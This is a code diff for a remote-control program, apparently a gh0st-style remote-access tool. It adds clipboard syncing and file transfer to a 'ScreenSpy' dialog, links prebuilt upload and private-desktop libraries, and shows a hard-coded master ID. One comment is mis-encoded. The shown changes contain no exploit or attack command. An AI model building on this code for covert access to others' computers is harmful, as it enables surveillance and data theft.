}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
CString strText = GetClipboardText();
|
||||||
|
if (!strText.IsEmpty()) {
|
||||||
|
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
||||||
|
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||||
|
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
|
||||||
|
dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1);
|
||||||
|
Mprintf("【Ctrl+V】 从本地拷贝到远程 \n");
|
||||||
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (g_2015RemoteDlg->m_pActiveSession)
|
else if (g_2015RemoteDlg->m_pActiveSession)
|
||||||
{
|
{
|
||||||
// [2] 远程 -> 本地
|
// [2] 远程 -> 本地
|
||||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
|
||||||
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||||||
|
memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
|
||||||
|
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||||||
|
auto files = GetClipboardFiles();
|
||||||
|
if (!files.empty()) {
|
||||||
|
if (::OpenClipboard(nullptr))
|
||||||
|
{
|
||||||
|
EmptyClipboard();
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -256,6 +256,7 @@
|
|||||||
<ClInclude Include="..\..\client\MemoryModule.h" />
|
<ClInclude Include="..\..\client\MemoryModule.h" />
|
||||||
<ClInclude Include="..\..\common\aes.h" />
|
<ClInclude Include="..\..\common\aes.h" />
|
||||||
<ClInclude Include="..\..\common\encrypt.h" />
|
<ClInclude Include="..\..\common\encrypt.h" />
|
||||||
|
<ClInclude Include="..\..\common\file_upload.h" />
|
||||||
<ClInclude Include="..\..\common\ikcp.h" />
|
<ClInclude Include="..\..\common\ikcp.h" />
|
||||||
<ClInclude Include="..\..\common\iniFile.h" />
|
<ClInclude Include="..\..\common\iniFile.h" />
|
||||||
<ClInclude Include="..\..\common\obfs.h" />
|
<ClInclude Include="..\..\common\obfs.h" />
|
||||||
|
|||||||
@@ -123,6 +123,7 @@
|
|||||||
<ClInclude Include="CWalletDlg.h" />
|
<ClInclude Include="CWalletDlg.h" />
|
||||||
<ClInclude Include="CRcEditDlg.h" />
|
<ClInclude Include="CRcEditDlg.h" />
|
||||||
<ClInclude Include="..\..\common\obfs.h" />
|
<ClInclude Include="..\..\common\obfs.h" />
|
||||||
|
<ClInclude Include="..\..\common\file_upload.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29
|
|||||||
|
|
||||||
std::string GetPwdHash()
|
std::string GetPwdHash()
|
||||||
{
|
{
|
||||||
static auto id = std::string(g_MasterID).substr(0, 64);
|
auto id = std::string(g_MasterID).substr(0, 64);
|
||||||
return id;
|
return id;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -29,14 +29,17 @@ const Validation * GetValidation(int offset)
|
|||||||
|
|
||||||
std::string GetMasterId()
|
std::string GetMasterId()
|
||||||
{
|
{
|
||||||
static auto id = std::string(g_MasterID).substr(0, 16);
|
auto id = std::string(g_MasterID).substr(0, 16);
|
||||||
return id;
|
return id;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string GetHMAC(int offset)
|
std::string GetHMAC(int offset)
|
||||||
{
|
{
|
||||||
const Validation * v= (Validation*)(g_MasterID + offset);
|
const Validation * v= (Validation*)(g_MasterID + offset);
|
||||||
return v->Checksum;
|
std::string hmac = v->Checksum;
|
||||||
|
if (hmac.empty())
|
||||||
|
hmac = THIS_CFG.GetStr("settings", "HMAC");
|
||||||
|
return hmac;
|
||||||
}
|
}
|
||||||
|
|
||||||
extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节
|
extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节
|
||||||
|
|||||||
@@ -309,7 +309,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
|||||||
if ( !bOk && dwIOError != WAIT_TIMEOUT ) { //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
if ( !bOk && dwIOError != WAIT_TIMEOUT ) { //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
||||||
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) {
|
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) {
|
||||||
ContextObject->olps = NULL;
|
ContextObject->olps = NULL;
|
||||||
Mprintf("!!! RemoveStaleContext \n");
|
Mprintf("!!! RemoveStaleContext: %d \n", WSAGetLastError());
|
||||||
This->RemoveStaleContext(ContextObject);
|
This->RemoveStaleContext(ContextObject);
|
||||||
}
|
}
|
||||||
SAFE_DELETE(OverlappedPlus);
|
SAFE_DELETE(OverlappedPlus);
|
||||||
|
|||||||
@@ -9,6 +9,7 @@
|
|||||||
#include <WinUser.h>
|
#include <WinUser.h>
|
||||||
#include "CGridDialog.h"
|
#include "CGridDialog.h"
|
||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
|
#include <file_upload.h>
|
||||||
|
|
||||||
|
|
||||||
// CScreenSpyDlg 对话框
|
// CScreenSpyDlg 对话框
|
||||||
@@ -29,6 +30,29 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
|
|
||||||
#define ALGORITHM_DIFF 1
|
#define ALGORITHM_DIFF 1
|
||||||
|
|
||||||
|
#ifdef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64d.lib")
|
||||||
|
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "FileUpload_Libx64.lib")
|
||||||
|
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
|
||||||
|
int UninitFileUpload() { return 0; }
|
||||||
|
std::vector<std::string> GetClipboardFiles() { return{}; }
|
||||||
|
bool GetCurrentFolderPath(std::string& outDir) { return false; }
|
||||||
|
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
|
||||||
|
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
|
||||||
|
finish(user);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
extern "C" void* x265_api_get_192()
|
extern "C" void* x265_api_get_192()
|
||||||
{
|
{
|
||||||
return nullptr;
|
return nullptr;
|
||||||
@@ -233,12 +257,23 @@ VOID CScreenSpyDlg::OnClose()
|
|||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID CScreenSpyDlg::OnReceiveComplete()
|
VOID CScreenSpyDlg::OnReceiveComplete()
|
||||||
{
|
{
|
||||||
assert (m_ContextObject);
|
assert (m_ContextObject);
|
||||||
auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
|
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
|
||||||
|
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||||
switch(cmd) {
|
switch(cmd) {
|
||||||
|
case COMMAND_GET_FOLDER: {
|
||||||
|
std::string folder;
|
||||||
|
if (GetCurrentFolderPath(folder)) {
|
||||||
|
// 发送目录并准备接收文件
|
||||||
|
BYTE cmd[300] = { COMMAND_GET_FILE };
|
||||||
|
memcpy(cmd + 1, folder.c_str(), folder.length());
|
||||||
|
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case TOKEN_FIRSTSCREEN: {
|
case TOKEN_FIRSTSCREEN: {
|
||||||
DrawFirstScreen();
|
DrawFirstScreen();
|
||||||
break;
|
break;
|
||||||
|
|||||||
Reference in New Issue
Block a user